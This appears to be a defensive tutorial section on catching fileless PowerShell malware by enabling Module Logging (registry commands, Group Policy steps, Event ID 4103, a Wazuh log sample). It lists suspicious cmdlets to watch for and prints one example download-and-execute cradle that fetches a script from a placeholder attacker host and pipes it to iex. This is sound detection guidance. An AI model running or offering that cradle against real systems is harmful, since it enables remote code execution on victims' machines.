**4. Fileless Malware with PowerShell**

What Is PowerShell Module Logging?

* Logs commands and arguments passed to each PowerShell module.
* Helps detect suspicious usage of modules like:
  + Invoke-WebRequest
  + Invoke-Expression
  + DownloadFile
  + Net.WebClient
  + WMI, CIM, AMSI, etc.

How to Enable Module Logging

PowerShell (Registry)

Open PowerShell as Administrator, run:

New-Item -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Force

New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 1 -PropertyType DWord -Force

New-Item -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames -Force

New-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames -Name \* -Value \* -PropertyType String -Force

This enables logging for all PowerShell modules.

Group Policy (GPO)

1. Press Win + R, type:  
   gpedit.msc
2. Go to:
3. Computer Configuration >
4. Administrative Templates >
5. Windows Components >
6. Windows PowerShell
7. Double-click:  
   Turn on Module Logging
8. Enable it.
9. Click Show... in the "Module Names" box
10. Add:
11. \*

This means “log all modules”

1. Click OK, Apply, and close GPO.
2. Restart or run gpupdate /force.

Where It Logs

After enabling, logs will appear in:

Event Viewer >

Applications and Services Logs >

Microsoft > Windows > PowerShell > Operational

Event ID: 4103

Or in Wazuh (if logging configured), you'll see:

{

"win.system.eventID": 4103,

"win.system.providerName": "Microsoft-Windows-PowerShell",

"win.eventdata.Payload": "Command invoked: New-Object System.Net.WebClient",

...

}

Example of What You Might Catch

Example payload:

(New-Object System.Net.WebClient).DownloadString('http://attacker-ip/script.ps1') | iex

Will generate a 4103 Module Log, showing:

* Use of System.Net.WebClient
* Use of Invoke-Expression
* Actual payload string

|  |  |  |
| --- | --- | --- |
| Setting | Location | Event ID |
| ScriptBlockLogging | HKLM\Policies\...\ScriptBlock... | 4104 |
| Module Logging | HKLM\Policies\...\ModuleLogging... | 4103 |